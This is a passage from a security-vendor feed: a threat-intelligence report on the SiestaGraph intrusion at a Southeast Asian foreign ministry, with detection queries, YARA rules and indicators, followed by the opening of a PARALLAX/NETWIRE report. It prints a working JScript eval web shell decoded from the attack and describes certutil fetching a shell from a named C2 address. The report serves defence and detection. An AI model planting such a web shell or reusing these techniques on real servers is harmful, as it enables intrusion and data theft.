<p>From our analysis, it appears that this simplistic backdoor is used as a stage loader. It uses NT Windows APIs, mainly <strong>NtAllocateVirtualMemory</strong> , <strong>NtProtectVirtualMemory</strong> , and <strong>NtCreateThreadEx</strong> , to allocate the required shellcode memory and to create the executing thread.</p>
<h4 id="kk2exe">kk2.exe</h4>
<p>On November 30, 2022, an unknown binary called <strong>kk2.exe</strong> was executed on an Exchange server. While we have been unable to collect <strong>kk2.exe</strong> as of this writing, we can see that it was used to load a vulnerable driver that can be used to monitor and terminate processes from kernel mode, <strong>mhyprot.sys</strong>. It is unclear if <strong>mhyprot.sys</strong> is downloaded, or embedded into, <strong>kk2.exe</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt15eb94a01036ab3c/6a7c93c7437e0f5709dd594d/image3.jpg" alt="kk2.exe loading the vulnerable mhyprot.sys driver" title="kk2.exe loading the vulnerable mhyprot.sys driver" /></p>
<p><strong>mhyprot.sys</strong> was detected by Elastic’s open code <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_VulnDriver_Mhyprot.yar">Windows.VulnDriver.Mhyprot YARA rule</a>, released in August 2022.</p>
<blockquote>
  <p>For more information on how vulnerable drivers are used for intrusions, check out the <a href="https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks">Stopping Vulnerable Driver Attacks</a> research Joe Desimone published in September 2022.</p>
</blockquote>
<p>As stated previously, we could not collect <strong>kk2.exe</strong> for analysis but it is likely that it used <strong>mhyprot.sys</strong> to escalate to kernel mode as a way to monitor, and if necessary, terminate processes. This could be used as a way of protecting an implant, or entire intrusion, from detection.</p>
<h4 id="webshells">Web shells</h4>
<p>The following section highlights multiple attempts by the threat actors to install a web shell as a back door into the environment if they are evicted. While speculative in nature, it appears that most of these attempts to load web shells failed. It is unclear what the reasons for the failures are. We’ll not cover every attempt at loading a web shell, as several of them were very similar, but we’ll highlight the shifts in approaches.</p>
<p>The first attempt was to use the Microsoft <strong>certutil</strong> tool to download an Active Server Pages (ASPX) file ( <strong>config.aspx</strong> ) from a remote host (<strong>185.239.70[.]229</strong>) and save it as the <strong>error.aspx</strong> page on the Exchange Control Panel’s webserver. Because this IP address is a <a href="https://threatfox.abuse.ch/ioc/1023850/">known</a> Cobalt Strike server, it may have been blocked by network defense architecture, leading to further attempts to overwrite <strong>error.aspx</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6d8207e784da37cb/6a7c93c996b5a6535a87591a/image9.jpg" alt="Attempt to overwrite error.aspx with config.aspx from a known Cobalt Strike server" title="Attempt to overwrite error.aspx with config.aspx from a known Cobalt Strike server" /></p>
<p>After attempting to use <strong>config.aspx</strong> from a Cobalt Strike C2 server, the threat actors attempted to insert Base64 encoded Javascript into a text file ( <strong>1.txt</strong> ), use <strong>certutil</strong> to decode the Base64 encoded Javascript ( <strong>2.aspx</strong> ), and then overwrite <strong>error.aspx</strong> with <strong>2.aspx</strong>. This was attempted on both the Exchange Control Panel and Outlook Web Access web servers.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt54a3d9ccd93738d2/6a7c93cc8fc2d030713e8c2a/image15.jpg" alt="Attempt to overwrite error.aspx with Javascript file" title="Attempt to overwrite error.aspx with Javascript file" /></p>
<p>The Base64 encoded string decoded into the following Javascript:</p>
<pre><code>&lt;%@ Page Language="Jscript" Debug=true%&gt;
&lt;%
var TNKY='nHsXLMPUSCABolxOgKWuIFeGVimhEjyzQrTvRcwafZdJDktqYpbN';
var ZZXG=Request.Form("daad");
var VAXN=TNKY(7) + TNKY(0) + TNKY(2) + TNKY(10) + TNKY(21) + TNKY(22);
eval(ZZXG, VAXN);
%
</code></pre>
<p>The preceding code is a simple web shell leveraging the <a href="https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/b51a45x6(v=vs.90)">eval Method</a>to evaluate JScript code sent through the POST parameter <strong>daad</strong>. Variations of this technique were attempted multiple times. Other attempts were observed to load <a href="https://github.com/ysrc/webshell-sample/blob/master/aspx/54a5620d4ea42e41beac08d8b1240b642dd6fd7c.aspx#L11">obfuscated versions</a> of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">China Chopper</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">Godzilla</a> <a href="https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx">web shells</a>.</p>
<h3 id="december142022">December 1–4, 2022</h3>
<h3 id="dllsideloading">DLL side-loading</h3>
<p>On December 2, 2022, on two Domain Controllers, we observed a new DLL ( <strong>log.dll</strong> ) being side loaded by a legitimate, but an 11-year-old, version of the Bitdefender Crash Handler executable (compiled name: <strong>BDReinit.exe</strong> ), <strong>13802 AR.exe</strong>. Once executed, it will move to the **C:\ProgramData\OfficeDriver** directory, rename itself **svchost.exe** , and install itself as a service.</p>
<p>Once <strong>log.dll</strong> is loaded, it will spawn the Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and <strong>dllhost.exe</strong> and injects into them which triggers a memory shellcode detection.</p>
<p><em>Updated 2/2/2023: In our</em> <a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"><em>updated research into SIESTAGRAPH, DOORME, and SHADOWPAD</em></a><em>, we identify</em>  <strong>log.dll</strong>  <em>as part of the SHADOWPAD malware family.</em></p>
<p>On December 2, 2022, another unknown DLL, <strong>Loader.any</strong> , was interactively executed with an Administrative account using <strong>rundll32.exe</strong>. <strong>Loader.any</strong> was observed executing two times on a Domain Controller and was then deleted interactively.</p>
<p>On December 3, 2022, we observed another malicious file, <strong>APerfectDayBase.dll</strong>. While this is a known malicious file, the execution was not observed. <strong>APerfectDayBase.dll</strong> is the legitimate name of a DLL in the import table of a benign-looking program, <strong>AlarmClock.exe</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf2c6023711d1dad2/6a7c93cf77b03482963f98f8/image7.jpg" alt="Import table for AlarmClock.exe" title="Import table for AlarmClock.exe" /></p>
<p>This naming appears to be an attempt to make the malicious DLL look legitimate and likely to leverage <strong>AlarmClock.exe</strong> as a side-loading target. Testing has confirmed that the DLL can be side-loaded with <strong>AlarmClock.exe</strong>. While not malicious, we are including the hash for <strong>AlarmClock.exe</strong> in the Indicators table as its presence could be used purely as a side-loading vehicle for malicious DLL, <strong>APerfectDayBase.dll</strong>.</p>
<h2 id="victimologyandtargetingmotivations">Victimology and targeting motivations</h2>
<h3 id="diamondmodel">Diamond model</h3>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d67b40d4d3fa829/6a7c93d2c33f4f1e8bd54deb/ref2924_diamond.jpg" alt="REF2924 diamond model" title="REF2924 diamond model" /></p>
<h3 id="victimology">Victimology</h3>
<p>The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with <a href="https://asean.org/what-we-do">ASEAN</a> (Association of Southeast Asian Nations).</p>
<p>ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6a430ccf078d13d6/6a7c93d57cfd7af876315044/image12.jpg" alt="ASEAN and RCEP member countries" title="ASEAN and RCEP member countries" /></p>
<p>Below is a list of the targeted users, the collection window(s) in which their mailboxes were exported, and the date their mailboxes were exported.</p>
<p>| User    | Collection Window                             | Collection Date(s)  |
| ------- | --------------------------------------------- | ------------------- |
| User 1  | 11/1/2022 - 11/28/202211/29/2022 - 12/6/2022  | 11/28/202212/6/2022 |
| User 2  | 11/1/2022 - 11/28/2022                        | 11/28/2022          |
| User 3  | 11/1/2022 - 11/28/2022                        | 11/28/2022          |
| User 4  | 11/15/2022 - 11/28/2022                       | 11/28/2022          |
| User 5  | 11/15/2022 - 11/28/202211/29/2022 - 12/6/2022 | 11/28/202212/6/2022 |
| User 6  | 11/15/2022 - 11/28/2022                       | 11/28/2022          |
| User 7  | 11/15/2022 - 11/28/202211/29/2022 - 12/6/2022 | 11/28/202212/6/2022 |
| User 8  | 11/15/2022 - 11/28/2022                       | 11/28/2022          |
| User 9  | 11/15/2022 - 11/28/2022                       | 11/28/2022          |
| User 10 | 9/15/2022 - 11/29/2022                        | 11/29/2022          |
| User 11 | 9/15/2022 - 11/29/2022                        | 11/29/2022          |
| User 12 | 9/15/2022 - 11/29/2022                        | 11/29/2022          |
| User 13 | 9/1/2022 - 11/30/2022                         | 11/30/2022          |
| User 14 | 9/1/2022 - 11/30/2022                         | 11/30/2022          |
| User 15 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 16 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 17 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 18 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 19 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 20 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 21 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 22 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 23 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |
| User 24 | 11/29/2022 - 12/6/2022                        | 12/6/2022           |</p>
<p>As reflected above, we observed Users 1, 5, and 7 targeted twice each indicating that the contents of their mailboxes were of particular interest. This could be the result of pre-intrusion reconnaissance or once the initial traunch of mailboxes was reviewed by the threat actor, they decided to continue collecting on those users.</p>
<h3 id="targetingmotivation">Targeting motivation</h3>
<p>There is no indication this victim would provide any direct monetary benefit to an adversary. The attack appears to be motivated by the purpose of diplomatic intelligence gathering. There are a number of potential adversaries who would find a nation’s confidential diplomatic communications related to ASEAN, and by extension the RCEP, to be highly advantageous in furthering their own regional influence, national security, and domestic goals.</p>
<p>If the threat actor is excluded from ASEAN trade unions and depends on foreign aid from members of those trade unions, it could find confidential diplomatic information specifically related to ASEAN useful for negotiating or renegotiating trade agreements.</p>
<p>ASEAN member nations are rival claimants to territorial disputes in the South China Sea (SCS). ASEAN as an organization has not produced a unified front in the SCS dispute, with some members preferring direct nation-to-nation negotiations and some wanting ASEAN to negotiate as a whole. Diplomatic information from ASEAN member nations might provide the threat actor with useful information to influence decisions and negotiations around the SCS. The threat actor's interest in ASEAN and any individual member would almost certainly be multifaceted covering government functions from immigration to agriculture, to technology, to sociopolitical considerations such as human rights.</p>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="preventionrules">Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml">Binary Masquerading via Untrusted Path</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml">Process Execution from an Unusual Directory</a></li>
</ul>
<h3 id="detectionrules">Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_dcsync_replication_rights.toml">Potential Credential Access via DCSync</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_windows_service_via_unusual_client.toml">Windows Service Installed via an Unusual Client</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/collection_winrar_encryption.toml">Encrypting Files with WinRar or 7z</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/collection_email_powershell_exchange_mailbox.toml">Exporting Exchange Mailbox via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/discovery_net_view.toml">Windows Network Enumeration</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">NTDS or SAM Database File Copied</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_suspicious_certutil_commands.toml">Suspicious CertUtil Commands</a></li>
</ul>
<h3 id="huntingqueries">Hunting queries</h3>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4 id="kqlquery">KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify loaded IIS modules that have been identified as malicious by Elastic Defend (even if Elastic Defend is in “Detect Only” mode).</p>
<p>The proceeding and preceding wildcards (*) can be an expensive search over a large number of events.</p>
<pre><code>event.code : “malicious_file” and event.action : "load" and process.name : “w3wp.exe” and process.command_line.wildcard : (*MSExchange* or *SharePoint*)
</code></pre>
<h4 id="eqlqueries">EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar to the SiestaGraph backdoor and the observed DLL side-loading patterns.</p>
<pre><code># Hunt for DLL Sideloading using the observed DLLs:

library where
 dll.code_signature.exists == false and
 process.code_signature.trusted == true and
 dll.name : ("log.dll", "APerfectDayBase.dll") and
 process.executable :
           ("?:\\Windows\\Tasks\\*",
            "?:\\Users\\*",
            "?:\\ProgramData\\*")

# Hunt for scheduled task or service from a suspicious path:

process where event.type == "start" and
 process.executable : ("?:\\Windows\\Tasks\\*", "?:\\Users\\Public\\*", "?:\\ProgramData\\Microsoft\\*") and
 (process.parent.args : "Schedule" or process.parent.name : "services.exe")

# Hunt for the SiestaGraph compiled file name and running as a scheduled task:

process where event.type == "start" and
 process.pe.original_file_name : "windowss.exe" and not process.name : "windowss.exe" and process.parent.args : "Schedule"

# Hunt for unsigned executable using Microsoft Graph API:

network where event.action == "lookup_result" and
 dns.question.name : "graph.microsoft.com" and process.code_signature.exists == false
</code></pre>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">SiestaGraph malware implant</a> and the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">DoorMe IIS backdoor</a>.</p>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        reference_sample = "96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SiestaGraph"
        threat_name = "Windows.Trojan.SiestaGraph"
        reference_sample = "50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h2 id="observedadversarytacticsandtechniques">Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0043/">Reconnaissance</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006">Credential access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h3 id="techniquessubtechniques">Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1592/">Gather host information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1589/">Gather victim information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1590/">Gather victim network information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1591/004/">Gather victim org information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit public-facing application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: Windows command-shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Powershell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network share discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote system discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and directory discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1021/002/">Remote services: SMB/Windows admin shares</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System service discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System owner/user discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack execution flow: DLL side-loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/004/">Masquerading: Masquerade task or service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator removal: File deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/decode files or information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/sandbox evasion: Time based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/003/">OS credential dumping: NTDS</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/002/">OS credential dumping: Security Account Manager</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/006/">OS credential dumping: DCSync</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or modify system process: Windows service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled task/job: Scheduled task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid accounts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server software component: IIS components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/003/">Server software component: Web shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1114/001/">Email collection: Local email collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/001/">Archive collected data: Archive via utility</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application layer protocol: Web protocols</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme</a></li>
<li><a href="https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks">https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks</a></li>
<li><a href="https://threatfox.abuse.ch/ioc/1023850/">https://threatfox.abuse.ch/ioc/1023850/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell</a></li>
<li><a href="https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx">https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx</a></li>
</ul>
<h2 id="observables">Observables</h2>
<p>All observables are also available <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">for download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Indicator                                                        | Type    | Name                                    | Reference                                                 |
| ---------------------------------------------------------------- | ------- | --------------------------------------- | --------------------------------------------------------- |
| 1a87e1b41341ad042711faa0c601e7b238a47fa647c325f66b1c8c7b313c8bdf | SHA-256 | OfficeClient.exe and OfficeCore.exe     | SIESTAGRAPH                                               |
| 7fc54a287c08cde70fe860f7c65ff71ade24dfeedafdfea62a8a6ee57cc91950 | SHA-256 | Officeclient.exe                        | SIESTAGRAPH                                               |
| f9b2b3f7ee55014cc8ad696263b24a21ebd3a043ed1255ac4ab6a63ad4851094 | SHA-256 | officeup.exe                            | SIESTAGRAPH                                               |
| c283ceb230c6796d8c4d180d51f30e764ec82cfca0dfaa80ee17bb4fdf89c3e0 | SHA-256 | Microsoft.Exchange.Entities.Content.dll | DOORME                                                    |
| 4b7d244883c762c52a0632b186562ece7324881a8e593418262243a5d86a274d | SHA-256 | iisrehv.dll                             | SessionManager                                            |
| 54f969ce5c4be11df293db600df57debcb0bf27ecad38ba60d0e44d4439c39b6 | SHA-256 | kk2.exe                                 | mhyprot.sys loader                                        |
| 509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6 | SHA-256 | mhyprot.sys                             | vulnerable driver                                         |
| 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd | SHA-256 | 13802 AR.exeBDReinit.exe                | vulnerable Bitdefender Crash Handler                      |
| 452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05 | SHA-256 | log.dll                                 | SHADOWPAD                                                 |
| 5be0045a2c86c38714ada4084080210ced8bc5b6865aef1cca658b263ff696dc | SHA-256 | APerfectDayBase.dll                     | malicious DLL injected into vulnerable binaries           |
| 3f5377590689bd19c8dd0a9d46f30856c90d4ee1c03a68385973188b44cc9ab7 | SHA-256 | AlarmClock.exe                          | benign, but targeted for side-loading APerfectDayBase.dll |
| f2a9ee6dd4d1ceb4d97138755c919549549311c06859f236fc8655cf38fe5653 | SHA-256 | Loader.any                              | currently unknown DLL                                     |
| 3b41c46824b78263d11b1c8d39cfe8c0e140f27c20612d954b133ffb110d206a | SHA-256 | Loader.any                              | currently unknown DLL                                     |
| 9b66cd1a80727882cfa1303ada37019086c882c9543b3f957ee3906440dc8276 | SHA-256 | Class1.exe                              | currently unknown file                                    |
| 185.239.70.229                                                   | ipv4    | na                                      | Cobalt Strike C2                                          |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</link>
    <guid isPermaLink="false">siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Samir Bousseaden,Andrew Pease,Daniel Stepanic,Salim Bitam,Seth Goodwin,Devon Kerr]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt382ed4e6f1fd53a9/6a7c93d877b03478413f9904/photo-edited09.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 16 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Exploring the REF2731 Intrusion Set]]></title>
    <description><![CDATA[The Elastic Security Labs team has been tracking REF2731, an 5-stage intrusion set involving the PARALLAX loader and the NETWIRE RAT.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key Takeaways</h2>
<ul>
<li>PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.</li>
<li>The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.</li>
<li>Shared infrastructure can be used to stitch campaigns and intrusion sets together.</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>The Elastic Security Labs team has been tracking REF2731, an intrusion set involving the <a href="https://twitter.com/malwrhunterteam/status/1227196799997431809">PARALLAX loader</a> which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.</p>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax">PARALLAX</a> is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire">NETWIRE</a> is a mature and cross-platform RAT that was first observed in 2012</p>
<p>In this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.</p>
<h2 id="executionflowparallaxloader">Execution Flow (PARALLAX loader)</h2>
<p>The Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the <a href="https://blog.morphisec.com/parallax-rat-active-status">PARALLAX loader</a>. PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.</p>
<blockquote>
  <p>On July 27, 2022, Microsoft began rolling out a <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">change to Office documents</a> that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.</p>
</blockquote>
<p>High-level summary of the execution flow:</p>
<ol>
<li>An email is sent to a victim with a macro-enabled Microsoft Word document attachment.</li>
<li>The macro downloads malicious files used for DLL-side loading and injection.</li>
<li>The Microsoft developer tool ( <strong>MsiDb.exe</strong> ) sideloads the malicious ( <strong>msi.dll</strong> ).</li>
